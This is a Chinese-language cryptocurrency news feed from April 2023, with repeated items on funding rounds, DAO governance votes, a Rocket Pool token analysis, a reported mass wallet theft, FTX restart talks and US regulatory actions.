    比特币金融服务公司 Unchained Capital 完成 6000 万美元 B 轮融资， Valor Equity Partners 领投 据 CoinDesk 报道，比特币金融服务公司 Unchained Capital 完成 6000 万美元 B 轮融资， Valor Equity Partners 领投，NYDIG，Trammell Venture Partners，Ecliptic Capital 和 Highland Capital Partners 参投。新资金将用于扩大客户群、改善现有产品套件和扩充产品。 Unchained Capital 利用比特币网络的本地多重签名功能，在用户持有的私钥与 Unchained 或其他金融服务提供商持有的私钥之间共享对用户比特币的控制。Unchained 还提供比特币抵押贷款服务，自 2017 年以来已经发放了超过 5 亿美元的此类贷款。 内容来源  ( 55 min )
    比特币金融服务公司 Unchained Capital 完成 6000 万美元 B 轮融资， Valor Equity Partners 领投
    比特币金融服务公司 Unchained Capital 完成 6000 万美元 B 轮融资， Valor Equity Partners 领投 据 CoinDesk 报道，比特币金融服务公司 Unchained Capital 完成 6000 万美元 B 轮融资， Valor Equity Partners 领投，NYDIG，Trammell Venture Partners，Ecliptic Capital 和 Highland Capital Partners 参投。新资金将用于扩大客户群、改善现有产品套件和扩充产品。 Unchained Capital 利用比特币网络的本地多重签名功能，在用户持有的私钥与 Unchained 或其他金融服务提供商持有的私钥之间共享对用户比特币的控制。Unchained 还提供比特币抵押贷款服务，自 2017 年以来已经发放了超过 5 亿美元的此类贷款。 内容来源  ( 55 min )
    Lido DAO 社区正投票决定接受 ARB 空投，以激励 Arbitrum 生态系统使用 wstETH
    Lido DAO 社区正投票决定接受 ARB 空投，以激励 Arbitrum 生态系统使用 wstETH Lido 社区正对「接收 ARB 空投代币」的提案进行投票，该投票将于 4 月 22 日结束。该提案主要内容包括：1. 确认 Arbitrum 基金会将 772,621 枚 ARB 空投给 Lido，reWARDS 委员会有权使用申领 ARB 代币。2.reWARDS 委员会将在 Arbitrum One 网络上创建一个新的多重签名钱包，用于接收 ARB 代币。3.ARB 代币将与现有的面向 Arbitrum One 上的 wstETH 矿池的流动性挖矿奖励一起发放，以激励在整个 Arbitrum 生态系统中使用 wstETH。4. 提议使用月度报告，以确保 Lido DAO 社区了解该计划的进展情况。 内容来源
    Lido DAO 社区正投票决定接受 ARB 空投，以激励 Arbitrum 生态系统使用 wstETH
    Lido DAO 社区正投票决定接受 ARB 空投，以激励 Arbitrum 生态系统使用 wstETH Lido 社区正对「接收 ARB 空投代币」的提案进行投票，该投票将于 4 月 22 日结束。该提案主要内容包括：1. 确认 Arbitrum 基金会将 772,621 枚 ARB 空投给 Lido，reWARDS 委员会有权使用申领 ARB 代币。2.reWARDS 委员会将在 Arbitrum One 网络上创建一个新的多重签名钱包，用于接收 ARB 代币。3.ARB 代币将与现有的面向 Arbitrum One 上的 wstETH 矿池的流动性挖矿奖励一起发放，以激励在整个 Arbitrum 生态系统中使用 wstETH。4. 提议使用月度报告，以确保 Lido DAO 社区了解该计划的进展情况。 内容来源
    【英文】解析 LSD 协议 Rocket Pool：发展前景、代币估值与潜在风险
    Chainfeeds 导读： 随着以太坊上海升级的完成，ETH 提款功能的实现或将成为 LSD 叙事的催化剂。加密研究员 Sam Andrew 从项目前景、代币估值以及潜在风险等角度分析了 LSD 协议 Rocket Pool。 文章来源： https://samuelandrew.substack.com/p/the-case-for-lsd 文章作者： Sam Andrew 观点： Sam Andrew：Rocket Pool 将受益于 ETH 质押增加的原因：1. 体量小：Rocket Pool 的体量不到 Lido 的 1/10，将获得更大的杠杆效应。2. 更去中心化：任何人都可以成为 Rocket Pool 节点运营商；Rocket Pool 有 2200 个节点运营商，而 Lido 仅有 29 个。3. 节点运营商单位经济：除了作为独立质押者获得的 ETH 质押收入外，还可以获得激励并从 RPL 代币发行中获益。【原文为英文】 内容来源 Sam Andrew：评估 RPL 代币的方法有两种：购买需求和稳态值（steady state value）。 购买需求：RPL 购买需求通过估计质押的 ETH 总量、Rocket Pool 的市场份额和 Rocket Pool 平均抵押率来推断。一旦增长趋于平稳，稳态估值法就会对 RPL 进行估值。我们可能会看到 RPL 价格上涨，但随着抵押率稳定在一个较低的水平，RPL 价格就没有太大上涨空间。【原文为英文】 内容来源 Sam Andrew：潜在风险：1. reETH 的流动性和实用性：rETH 不如 stETH 有效用且流动性差；2.Rocket Pool 抵押率：抵押率是指节点运营商用于抵押品的 RPL 价值和 ETH 之间的比例。抵押率越高，购买 RPL 代币的需求就越大。反之，将变成 RPL 的抛压。【原文为英文】 内容来源  ( 28 min )
    【英文】解析 LSD 协议 Rocket Pool：发展前景、代币估值与潜在风险
    Chainfeeds 导读： 随着以太坊上海升级的完成，ETH 提款功能的实现或将成为 LSD 叙事的催化剂。加密研究员 Sam Andrew 从项目前景、代币估值以及潜在风险等角度分析了 LSD 协议 Rocket Pool。 文章来源： https://samuelandrew.substack.com/p/the-case-for-lsd 文章作者： Sam Andrew 观点： Sam Andrew：Rocket Pool 将受益于 ETH 质押增加的原因：1. 体量小：Rocket Pool 的体量不到 Lido 的 1/10，将获得更大的杠杆效应。2. 更去中心化：任何人都可以成为 Rocket Pool 节点运营商；Rocket Pool 有 2200 个节点运营商，而 Lido 仅有 29 个。3. 节点运营商单位经济：除了作为独立质押者获得的 ETH 质押收入外，还可以获得激励并从 RPL 代币发行中获益。【原文为英文】 内容来源 Sam Andrew：评估 RPL 代币的方法有两种：购买需求和稳态值（steady state value）。 购买需求：RPL 购买需求通过估计质押的 ETH 总量、Rocket Pool 的市场份额和 Rocket Pool 平均抵押率来推断。一旦增长趋于平稳，稳态估值法就会对 RPL 进行估值。我们可能会看到 RPL 价格上涨，但随着抵押率稳定在一个较低的水平，RPL 价格就没有太大上涨空间。【原文为英文】 内容来源 Sam Andrew：潜在风险：1. reETH 的流动性和实用性：rETH 不如 stETH 有效用且流动性差；2.Rocket Pool 抵押率：抵押率是指节点运营商用于抵押品的 RPL 价值和 ETH 之间的比例。抵押率越高，购买 RPL 代币的需求就越大。反之，将变成 RPL 的抛压。【原文为英文】 内容来源  ( 28 min )
    Interchain Builders Program 公布第二季度 13 个入围项目
    Interchain Builders Program 公布第二季度 13 个入围项目 Cosmos 开发和生态建设的基金会 Interchain Foundation 公布 Interchain Builders Program 第二季度入围的 13 个项目，包括基础设施 & 工具类项目：Abstract Money、Apollo DAO、Babylon；数据类项目：BlockPI、OKP4、Source Network、Syntropy；DeFi 类项目：Denom、Kima、Squid、UnUniFi；其他类项目：Emerging Eco、Unigrid。Interchain Builders 计划自 2022 年启动，旨在为在 Interchain Stack 上构建的团队提供支持。 内容来源  ( 10 min )
    Interchain Builders Program 公布第二季度 13 个入围项目
    Interchain Builders Program 公布第二季度 13 个入围项目 Cosmos 开发和生态建设的基金会 Interchain Foundation 公布 Interchain Builders Program 第二季度入围的 13 个项目，包括基础设施 & 工具类项目：Abstract Money、Apollo DAO、Babylon；数据类项目：BlockPI、OKP4、Source Network、Syntropy；DeFi 类项目：Denom、Kima、Squid、UnUniFi；其他类项目：Emerging Eco、Unigrid。Interchain Builders 计划自 2022 年启动，旨在为在 Interchain Stack 上构建的团队提供支持。 内容来源  ( 10 min )
    FTX 债权人：正在评估重启或出售 FTX 方案
    FTX 债权人：正在评估重启或出售 FTX 方案 FTX 债权人官方委员会发推称，正与债务人合作，评估重启或出售 FTX 的方案，从而为债权人创造价值。官方称，目前没有重启或出售交易所的明确时间表。在启动正式程序之前，有兴趣购买或赞助 FTX 交易所重启的各方可联系债务人及委员会。据彭博社引援知情人士报道，Tribe Capital 拟注资重启 FTX 加密货币交易所。 内容来源  ( 2 min )
    FTX 债权人：正在评估重启或出售 FTX 方案
    FTX 债权人：正在评估重启或出售 FTX 方案 FTX 债权人官方委员会发推称，正与债务人合作，评估重启或出售 FTX 的方案，从而为债权人创造价值。官方称，目前没有重启或出售交易所的明确时间表。在启动正式程序之前，有兴趣购买或赞助 FTX 交易所重启的各方可联系债务人及委员会。据彭博社引援知情人士报道，Tribe Capital 拟注资重启 FTX 加密货币交易所。 内容来源  ( 2 min )
    MetaMask：大规模钱包被盗并非源于 MetaMask 漏洞
    MetaMask：大规模钱包被盗并非源于 MetaMask 漏洞 MetaMask 官方发推表示，关于用户 @tayvano_ 称「由于 MetaMask 存在漏洞，有超过 5000 枚 ETH 被盗」是不正确的。MetaMask 表示，该大规模钱包被盗事件并非源于 MetaMask 漏洞，数据显示，5000 枚 ETH 从 11 个区块链的不同地址被盗。MetaMask 的安全团队正在与 Web3 钱包团队合作研究该漏洞的来源。 内容来源 观点： Tay：自 2022 年 12 月以来，有 5000+ ETH 被盗。被盗地址的密钥是在 2014 年至 2022 年之间创建的。我的猜测是有人获取了大量的数据缓存，并从中解析出了密钥。【原文为英文】 内容来源 余弦（慢雾创始人）：这种盗币攻击是最让人抓狂的，你难以确定具体原因是什么，但确实发生了，比如一个逻辑合理的解释是：你的私钥在某些数据里一同被无差别采集了，黑客们逐步发现了这些数据里有私钥，然后有如拾荒者一般，「捡走」里面的资产… 内容来源  ( 2 min )
    MetaMask：大规模钱包被盗并非源于 MetaMask 漏洞
    MetaMask：大规模钱包被盗并非源于 MetaMask 漏洞 MetaMask 官方发推表示，关于用户 @tayvano_ 称「由于 MetaMask 存在漏洞，有超过 5000 枚 ETH 被盗」是不正确的。MetaMask 表示，该大规模钱包被盗事件并非源于 MetaMask 漏洞，数据显示，5000 枚 ETH 从 11 个区块链的不同地址被盗。MetaMask 的安全团队正在与 Web3 钱包团队合作研究该漏洞的来源。 内容来源 观点： Tay：自 2022 年 12 月以来，有 5000+ ETH 被盗。被盗地址的密钥是在 2014 年至 2022 年之间创建的。我的猜测是有人获取了大量的数据缓存，并从中解析出了密钥。【原文为英文】 内容来源 余弦（慢雾创始人）：这种盗币攻击是最让人抓狂的，你难以确定具体原因是什么，但确实发生了，比如一个逻辑合理的解释是：你的私钥在某些数据里一同被无差别采集了，黑客们逐步发现了这些数据里有私钥，然后有如拾荒者一般，「捡走」里面的资产… 内容来源  ( 2 min )

  • Open

    Coinbase将Multichain（MULTI）列入上币路线图
    PANews 4月19日消息，Coinbase Assets发推表示，已将Multichain（MULTI）列入上币路线图。Multichain (MULTI) 的以太坊网络（ERC-20 代币）合约地址是0x65ef703f5594d2573eb71aaf55bc0cb548492df4。  ( 1 min )
    纽约梅隆银行CEO：我们不是加密银行，加密货币不是商业战略
    PANews 4月19日消息，据CoinDesk报道，纽约梅隆银行首席执行官Robin Vince在第一季度财报电话会议上表示，该行在加密货币方面的进展“非常缓慢”。纽约梅隆银行不认为自己是一家加密银行，并将继续缓慢投资该行业。Vince指出，以前将加密货币作为商业模式一部分的其他公司已经通过该业务产生了“大量现金”，但纽约梅隆银行没有计划效仿。他表示，“我们有各种各样的客户。我们有一些客户接触了数字资产生态系统，但这并不是我们的商业战略”。去年10月，纽约梅隆银行成立了数字资产部门。今年2月，Caroline Butler被提拔为该部门的首席执行官。周二早些时候，纽约梅隆银行报告称，由于利息收入增加，其第一季度收入和利润均有所增长。  ( 1 min )
    英特尔将停止生产比特币挖矿芯片
    PANews 4月19日消息，据CoinDesk报道，芯片制造巨头英特尔周二在声明中表示，将停止生产其比特币挖矿芯片系列。根据英特尔网站上的一份文件，10月20日之后将不再接受新订单，最后一批产品将在2024年4月20日之前发货。当被问及英特尔是否会推出新项目时，公司发言人表示将继续“关注市场机会”。去年2月，英特尔宣布进军比特币挖矿领域，将发布一款比特币挖矿ASIC芯片，首批客户包括Argo Blockchain、Block、Griid Infrastructure和Hive Blockchain。  ( 1 min )
    特朗普将推出新系列个人NFT收藏品
    PANews 4月19日消息，特朗普周二在其社交平台Truth Social宣布，将推出个人NFT收藏品“Trump Digital Trading Cards”的第二系列。这些NFT将在Polygon区块链上铸造，售价仍为99美元，共包含47000枚NFT，这可能表明了他希望作为第47任总统重返白宫的决心。去年12月，特朗普发布了首个NFT系列，并在几个小时内售罄。根据美国政府道德办公室最近提交的一份文件，特朗普从这些NFT销售中赚取了10万至100万美元。  ( 1 min )
    胡润发布《2023全球独角兽榜》，区块链行业有53家独角兽企业入围
    PANews 4月18日消息，胡润研究院今日于广州发布《2023全球独角兽榜》（Global Unicorn Index 2023），列出了全球成立于2000年之后，价值10亿美元以上的非上市公司。本次榜单估值计算的截止日期为2022年12月31日。全球目前有1,361家独角兽企业，分布在48个国家，271个城市。全球独角兽企业总价值4.3万亿美元（约合人民币30万亿元），比一年前增长了17%，是疫情前的两倍多。从独角兽数量来看，金融科技行业增长最快，比一年前增加了32家，金融科技有171家独角兽，是全球独角兽企业数量最多的行业，其次是软件服务（136家）、电子商务（120家）和人工智能（105家）。美国以666家独角兽企业领先，中国以316家位居第二，印度保持第三位，英国第四。 字节跳动仍是世界上最具价值的独角兽，价值1.38万亿元人民币，马斯克的火箭和卫星公司SpaceX以9,450亿元人民币的价值位居第二，总部迪拜的通讯应用Telegram跻身前十，价值2,070亿元人民币。 区块链行业有53家独角兽企业，比一年前增加23家，由总部马耳他的币安（1,380亿元）领跑，其次是总部旧金山的Ripple（1,050亿元）和总部纽约的OpenSea（900亿元）。这些独角兽企业占全球独角兽总数的3.9%，总价值达到1.4万亿元。  ( 1 min )
    美国SEC主席：美国证交会需要更多资源来监管加密货币
    PANews 4月18日消息，美国证券交易委员会（SEC）主席 Gary Gensler 表示，美国证交会需要更多资源来监管加密货币。债务上限僵局有损害美国国债的风险。如果在美国政府陷入技术性违约之前不提高债务上限，“资本市场将陷入一片混乱"。  ( 1 min )
    Layer1区块链LUKSO将于4月21日凌晨启动Genesis Validator存款智能合约
    PANews 4月18日消息，以太坊 ERC-20 代币标准发明者 Fabian Vogelstelle 等人即将推出的 Layer1 区块链项目 LUKSO 将于北京时间 4 月 21 日 00:20 启动 Genesis Validator 存款智能合约。用户只要存入至少 32 枚 LYXe（价值约 439 美元）就可以成为 Genesis Validator。（LyXE 是 Lukso 的原生代币，基于以太坊区块链，一旦 Lukso 区块链上线，它将转换为 LyX。）Lukso 的 Genesis 存款智能合约只要获得 4,096 个验证者密钥即可安全启动。一旦创建了足够的验证器密钥，Lukso 将冻结智能合约，Lukso 区块链网络将开始运行。Lukso 初始验证者将投票决定 LyX 的代币供应量以及 Lukso 基金会可以持有多少。 相关阅读：一文了解ERC-20代币标准提出者推出的Layer 1区块链LUKSO  ( 2 min )
    慢雾：没有直接证据证明MetaMask存在大规模泄漏
    PANews 4月18日消息，据慢雾情报，今日 MetaMask 安全团队成员 @tayvano_ 在推特提醒在 2014-2022 间有大量的钱包用户私钥可能泄漏，大概导致 5000+ ETH 被盗的情况，慢雾安全团队跟踪发现，并没有任何迹象或证据证明属于某一家钱包或平台。也并不存在所谓‘MetaMask钱包出现大规模泄漏’ 的问题。 同时，今天慢雾安全团队在推特提醒的 iOS 和macOS 安全更新与上述事件无任何关系，属于常规安全提醒。慢雾安全团队提醒用户，请大家保持关注事件后续动态，不信谣不传谣。  ( 1 min )
    Sweatcoin开发商Sweat Economy引入一人一票治理系统
    PANews 4月18日消息，健康和健身应用 Sweatcoin 背后的团队Sweat Economy正在引入一人一票治理系统进行治理投票，而不是行使与其治理代币持有量成正比的投票权。投票将直接在其移动应用程序中进行，将决定该协议如何花费其 1 亿原生 sweatcoin (SWEAT) 代币。本次投票有 1500 万代币持有者有资格参与。参与者将决定 1 亿个代币中有多少分配给质押奖励，以及有多少代币从流通供应中移除，这可能会影响代币的价格。 相关阅读：一文读懂Sweatcoin：传统健身应用链改，1亿用户能否成下一个爆款？  ( 1 min )
    PA日报 | 币安将分批淘汰旧基础设施上的存款地址；美国SEC就Bittrex及其CEO未进行交易所注册发出指控
    今日要闻提示： 1.美国SEC就Bittrex及其CEO未进行交易所注册发出指控 2.纽约金融服务部通过虚拟货币评估条例 3.币安将分批淘汰旧基础设施上的存款地址，建议用户查看是否收到新地址的邮件 4.Polygon发布致欧洲议会的公开信，以澄清智能合约的运作方式 5.Aleph Zero启动5000万美元的生态系统资助计划 6.苹果公司推出年利率达4.15%的储蓄账户，无最低存款要求 7.Unchained完成6000万美元B轮融资，Valor Equity Partners领投 8.MetaMask Institutional发布Q1回顾：AUD增加近90%，预计年收入将增长25.87% 监管消息 英国央行拟在加密新规中限制用于支付的稳定币，年底前将就此进行咨询 据CoinDesk报道，英国央行副行长Jon Cunliffe在年度创新金融全球峰会上的演讲中表示，英格兰银行 (BoE) 将考虑是否在该行业的新规则中限制用于支付的稳定币。Cunliffe表示，英国央行和金融行为监管局计划在今年晚些时候就稳定币的新规则进行咨询。 Cunliffe称:“虽然从公共政策的角度来看，我们希望支付领域的竞争和创新，但我们需要防范快速的、破坏性的变化，这种变化不允许金融体系有时间进行调整，从而可能威胁金融稳定。新规则将寻求像监管商业银行货币一样监管稳定币，包括要求稳定币应可以法定货币、票面价值和按需赎回。但稳定币不会像商业银行存款那样获得破产保护。稳定币规则将遵循国际清算银行支付和市场基础设施委员会以及国际证券委员会组织去年制定的原则。” 今日晚些时候消息，英国财政部经济大臣Andrew Griffith表示，英国可能会在未来12个月内出台旨在监管加密货币行业的具体法律。 市场消息：美国共和党人就数字资产交易平台致信美国证交会 据金十报道，市场消息：美国共和党人就数字资产交易平台致信美国证交会。 美国SEC就Bittrex及其CEO未进行交易所注册发出指控 美国证券交易委员会（SEC）就加密货币交易所Bittrex和其前首席执行官未进行交易所注册发出指控。在Bittrex诉讼中SEC称Algorand是证券。SEC表示，从 2017 年到 2022 年，Bittrex 从包括美国投资者在内的投资者那里赚取了至少 13 亿美元的收入，同时作为经纪人、交易所和清算机构为他们提供服务，而没有向委员会注册任何这些活动。 纽约金融服务部通过虚拟货币评估条例 纽约州金融服务部 (DFS) 今日已通过一项最终法规（虚拟货币评估条例），规定如何评估持有 DFS 颁发的 Bitlicense 的公司的监督和检查成本。所采用的法规使纽约州 23 财年预算中的一项条款生效，赋予 DFS 新的权力，可以从获得许可的虚拟货币业务中收取监管费用，类似于 DFS 监管的其他被许可方。该法规将允许该部门继续为其虚拟货币团队增加顶尖人才，以继续高效和有效的监管监督。 DFS 的虚拟货币监管框架仿照全范围银行监管，要求公司在资本化、网络安全保护和反洗钱协议等方面满足严格的标准。最终法规规定了评估虚拟货币业务运营成本的流程，与受监管的银行和保险实体相当。 NFT 星巴克将于4月20日推出基于Polygon的NFT系列“First Store Collection” 据Decrypt报道，星巴克宣布将于北京时间4月20日推出基于Polygon的NFT系列“First Store Collection”，NFT数量为5000个，单价为100美元。该系列的一般销售将于4月20日凌晨3:00开始，此前已经拥有两张星巴克NFT邮票的用户可在4月20日00:00开始抢先体验。 据悉，该系列NFT灵感来自星巴克在西雅图Pike Place Market的第一家商店。用户购买NFT可获得1500积分，并在其Web3平台Starbucks Odyssey中兑换奖励。此外，Starbucks Odyssey还将于4月24日为Beta版用户推出一系列福利。 Moonbirds将推出奖励代币TALONS，NFT持有者每天可积累该代币 据官方Twitter space，NFT项目Moonbirds宣布将推出奖励代币TALONS，NFT持有者可每天累积该代币。持有者将能够使用代币竞标即将到来的独家投放中的许可名单位置、获得独家商品、IRL活动和协作体验。Beta版将面向Moonbirds持有者，并且仅在内部PROOF生态系统中使用。 元宇宙 马斯克正开发人工智能平台TruthGPT，以最大限度寻求真理 据福克斯新闻报道，马斯克在接受福克斯主播Tucker Carlson采访时表示，他正在开发一种名为“TruthGPT”的ChatGPT竞争对手，这是一种大型语言模型(LLM)，马斯克表示将对其进行训练，以探索宇宙的奥秘。根据马斯克的说法，TruthGPT将最大限度地寻求真理，也将反击行业中的“左翼”偏见。他表示，ChatGPT“是由左翼专家编写的，他们可能会因为政治原因训练聊天机器人撒谎”。据此前消息，马斯克近期购买了约1万块GPU来支持即将推出的生成式人工智能产品，而今年3月，马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统。 GPT产业联盟正式成立，移动、联通等单位共同发起 据上证报报道，2023全球元宇宙大会18号在北京举行。大会上，GPT产业联盟正式成立。GPT产业联盟由中国移动通信联合会、中国电信、中国移动、中国联通、中国广电等单位共同发起成立。根据介绍，接下来，GPT产业联盟将努力做到：探索智能涌现产生的机制和工程路径；发现智能时代开启原始创新机会；发明支撑智能商业价值涌现与流转的技术架构，致力于将人工智能力量打造成为造福人类、影响世界、影响未来的强大数字力量。 SPACE ID成立DAO Treasury，将实施代币回购和销毁机制 据官方博客，去中心化通用域名协议SPACE ID宣布成立DAO Treasury，将实施代币回购和销毁机制。平台收入将包括自TGE日期以来积累的所有注册收益，并按季度移动执行向前。 具体而言，SPACE ID平台产生的总净收入（包括域名注册、续订、礼品卡购买和 SPACE ID 市场费用的收入）的50%将用于购买和销毁ID代币。总净收入的剩余50% 将添加到DAO金库中，该金库将以稳定币的形式持有，并由所有符合条件的ID代币持有者管理。 据悉，SPACE ID DAO是一个社区驱动的平台，治理委托人的申请截止时间为北京时间2023年4月28日22:00。 项目动态 Ray Youssef在卸任Paxful CEO前解冻88%的冻结账户，Paxful或将继续运营 比特币P2P市场Paxful首席执行官Ray Youssef发推文称，88%的冻结账户已解冻。这是我作为CEO的最后行动。Youssef称这是在没有工程师或合规人员的情况下完成的，并敦促用户立即登录并领取资金。 Youssef解释道：“如果您的账户仍然被冻结，那么很抱歉，我无权解冻这些资金，它们掌握在美国监管机构手中。我无法访问，也从未访问过客户资金。为了解冻这些账户，我放弃了CEO的头衔，同时也面临藐视法庭的危险。今天，我们又在88%的账户中释放了100万美元。客户总资金的3%仍被冻结。冻结资金的剩余金额现在由一个托管人保管。” 随后，Paxful官方推特发了一则公告，称Ray去了Paxful首席执行官的职务，“我们感谢Ray过去的领导，并确保Paxful继续支持那些被排除在世界金融体系之外的人”，意味着Paxful或将在没有Ray Youssef的领导下继续运营。 Arbitrum关于扩大ARB持有者监督和治理权的AIP-1.1和1.2提案均获得投票通过 ，Snapshot投票页面显示，Arbitrum社区关于扩大ARB代币持有者监督和治理权力的两项提案（AIP-1.1和AIP-1.2）均以近99%的支持率获得通过。 提案AIP-1.1建议将基金会剩余的7亿ARB置于“智能合约控制的锁定”中，四年内解锁。根据提案，在社区成员批准代币分配预算之前，基金会将无法使用代币。此外，Arbitrum 基金会还发布了一份关于该组织如何成立的透明度报告。 提案AIP-1.2旨在修改Arbitrum生态系统的几个治理文件，包括将在链上发布改进提案所需的ARB代币数量的门槛从500万降低到100万。目前该两项提案的支持率均在98%以上。 Bitrue：将补偿受攻击事件影响的用户，已恢复大部分代币的正常操作 据官方推特，加密交易所Bitrue发布安全事件更新，称：“北京时间4月14日15:18，我们在我们的一个热钱包中发现了一个简短的漏洞。为了确保用户的安全，我们进行了一系列的安全检查。虽然大多数用户没有受到影响，但某些用户可能在提款时遇到了短暂的中断。所有受到事件影响的用户也将得到全额补偿。我们已经部分完成了安全检查，因此能够恢复除QNT、MATIC和HOT之外的所有代币的正常操作。我们将继续努力尽快完成安全检查。” 贝宝金融集团破产保护在新加坡高院进行聆讯，正式开启庭内重组程序 前贝宝金融（Babel Finance）创始人Flex Yang（杨舟）发布公开信表示，贝宝金融集团破产保护在新加坡高院进行了聆讯，正式开启了庭内重组程序，Yang称：“这是自2021年退出贝宝、2022年中贝宝危机后，我决定回归主持重组工作以来，阶段性的工作结果。” 今日晚些时候消息，新加坡法院将贝宝金融破产保护期延长至7月21日。 Gala Games将于5月15日推出v2版本，并将以1:1进行新代币置换 据官方博客，区块链游戏平台Gala Games将于5月15日推出v2升级，新增功能包括增强的销毁机制、安全性增强和未来的可升级性。用户必须在5月15日快照之前从任何流动性池或智能合约中移除GALA，官方已安排所有在以太坊上持有 GALA（v1）的用户直接1:1自动接收新的GALA（v2）代币，此后 GALA（v1）将不再受支持。 币安将分批淘汰旧基础设施上的存款地址，建议用户查看是否收到新地址的邮件 据币安支持中心今日发布的更新，币安宣布将分批淘汰仍在旧基础设施上的存款地址和备忘录。币安称这是因为其不断升级钱包基础设施，以为用户提供更好的效率和资金安全。 币安表示，如果用户的存款地址和流水受到影响，该用户将会收到一封电子邮件。因此强烈建议用户在收到电子邮件后检索新的存款地址。用户在获得新的存款地址后或收到电子邮件通知30天后，旧存款地址将失效。 需要注意的是，存入过期地址的资金是安全的，不会丢失。但是，以后存入过期地址的存款将不会自动记入账户。用户可以使用交易历史页面上的“一键到达（One click arrival）”按钮手动将资金存入其Spot钱包。如果看不到这个选项，请通过存款状态查询页面提交申请。 NBA球星斯蒂芬·库里、NFL球星汤姆·布雷迪等名人已要求法院驳回关于推广FTX的诉讼 据Cryptoslate报道，根据一份最新提交的法庭动议显示，涉及推广加密货币交易所FTX集体诉讼的名人已要求法院驳回此案，这些名人包括喜剧演员兼导演拉里·大卫（Larry David）、NFL球星汤姆·布雷迪（Tom Brady）、吉赛尔·邦辰（Gisele Bundchen）、NBA球星斯蒂芬·库里（Stephen Curry）、乌多尼斯·哈斯勒姆（Udonis Haslem）、特雷弗·劳伦斯（Trevor Lawrence）、凯文·奥利里（Kevin O’Leary）、棒球明星大谷翔平（Shohei Ohtani）、大卫·奥尔蒂斯（David Ortiz）、网球明星大坂直美（Naomi Osaka）以及NBA金州勇士队。据相关律师称，这些名人并没有提倡对收益账户 (YBA) 进行投资，而集体诉讼正在索赔此类账户的损失。 苹果公司推出年利率达4.15%的储蓄账户，无最低存款要求 据CNBC报道，苹果公司表示，其Apple Card储蓄账户现在可供用户使用，年收益率为4.15%。该公司表示，这一账户没有最低存款或余额要求，用户可通过iPhone上的钱包应用程序来设置其帐户。该媒体补充道，苹果公司是通过高盛来推出这一储蓄账户的。 用户必须拥有Apple Card才能开立储蓄账户。通过Apple Card获得的所有每日现金奖励将自动存入储蓄账户。据悉，每日现金奖励可提供高达3%的购物返还。用户可以随时更改每日现金的存放位置，还可以从银行账户中添加资金以增加收入。 根据联邦存款保险公司（FDIC）的数据，储蓄账户的全国平均年利率仅为0.35%，因此相比之下，苹果公司的4.15%就相当可观。 Aleph Zero启动5000万美元的生态系统资助计划 据Cointelegraph报道，Layer1 隐私增强区块链 Aleph Zero 正在启动一项 5000 万美元的 Aleph Zero 生态系统资助计划。Aleph Zero 生态系统资助计划的目标是资助开发团队的创新，以扩展 Aleph Zero 区块链的能力、功能和采用。生态系统资助计划包括产品开发所有阶段的赠款、孵化和加速，成功的申请者每个项目可获得高达 500,000 美元的赠款资金。 Polygon发布致欧洲议会的公开信，以澄清智能合约的运作方式 Polygon Labs起草并向欧洲议会、欧盟理事会和欧盟委员会的代表发送了一封关于“数据法案”（Data Act）第 30 条的公开信。 目的是澄清第 30 条的范围和意图，以确保它说明了智能合约的运作方式。据悉，欧盟通用数据保护条例 (GDPR) 第 30 条是一项法律：要求处理个人数据的组织保留其处理活动的记录。第 30 条规定了以下要求：(A) 一方在同意提供数据的情况下提供智能合约。由于所有智能合约都共享某种数据，因此拟议的法律过于宽泛，在去中心化系统中可能无法执行。公开信中阐明了在无许可系统中对此类智能合约施加“安全终止或中断”要求的潜在负面后果。 Polygon 进一步建议修改以缩小第 30 条的范围。其背后的意图是该条仅影响由已签署习惯共享合同协议的可识别自然人或公司实体拥有和运行的基于许可的智能合约系统“个人数据”，因为该术语在数据法中使用。通过这封信， Polygon希望确保包括欧盟在内的全球软件开发人员能够通过智能合约不断创新。 融资消息 比特币金融服务提供商Unchained完成6000万美元B轮融资，Valor Equity Partners领投 比特币金融服务提供商 Unchained Capital 完成 6000 万美元 B 轮融资， Valor Equity Partners 领投，NYDIG，Trammell Venture Partners，Ecliptic Capital和Highland Capital Partners参投。新资金将用于扩大客户群、改善现有产品套件和扩大产品供应。 据悉，Unchained Capital将利用比特币网络的原生多重签名功能，为客户提供在他们自己持有的私钥和Unchained或其他金融服务公司持有的私钥之间共享对比特币的控制权。 重要数据 MetaMask Institutional发布Q1回顾：AUD增加近90%，预计年收入将增长25.87% MetaMask机构解决方案MMI（MetaMask Institutional）发布2023年Q1回顾，新功能包括投资组合仪表板、NFT视图的账户捆绑、身份验证和登录、Institutional Staking市场等。 在数据方面，MMI扩展的八周用户留存率超过65%，这是该团队密切关注的指标。使用MMI部署在链上的资产（AUD）增加了89.17%。与此同时，MMI团队预计年收入将增长25.87%。 展望下个季度，官方表示将继续迭代和改进MMI的各个方面，并计划在第二季度发布重大公告。 数据：黄立成地址再次购入6枚NFT，包括2枚BAYC和1枚MAYC 数据显示，此前曾在推特上宣布退出NFT领域的黄立成地址今日在Blur平台购入2枚BAYC（#1510和#3949）、2枚BAKC（#2552和#3182）、1枚MAYC（#9920）以及1枚DeFi Apes（#2712）。 此前消息，黄立成4月15日发推文称“其已退出NFT领域”，此条推文仍未删除，但取消了置顶。  ( 4 min )
    比特币金融服务提供商Unchained完成6000万美元B轮融资，Valor Equity Partners领投
    PANews 4月18日消息，比特币金融服务提供商 Unchained Capital 完成 6000 万美元 B 轮融资， Valor Equity Partners 领投，NYDIG，Trammell Venture Partners，Ecliptic Capital和Highland Capital Partners参投。新资金将用于扩大客户群、改善现有产品套件和扩大产品供应。 据悉，Unchained Capital将利用比特币网络的原生多重签名功能，为客户提供在他们自己持有的私钥和Unchained或其他金融服务公司持有的私钥之间共享对比特币的控制权。  ( 2 min )
    美国共和党人就数字资产交易平台监管致信美国SEC主席
    PANews 4月18日消息，美国共和党人致信美国证券交易委员会（SEC）主席 Gary Gensler，敦促 Gary Gensler 为数字资产制定明确的监管规定。信函指出，Gary Gensler 此前已承认数字资产交易平台并不完全适合现有法律法规，但与此同时，Gary Gensler 未能提供允许数字资产交易平台注册的路径。  ( 1 min )
    东方艳阳高照，西方阴雨连绵，美国监管接连打击Bittrex、Paxful与稳定币
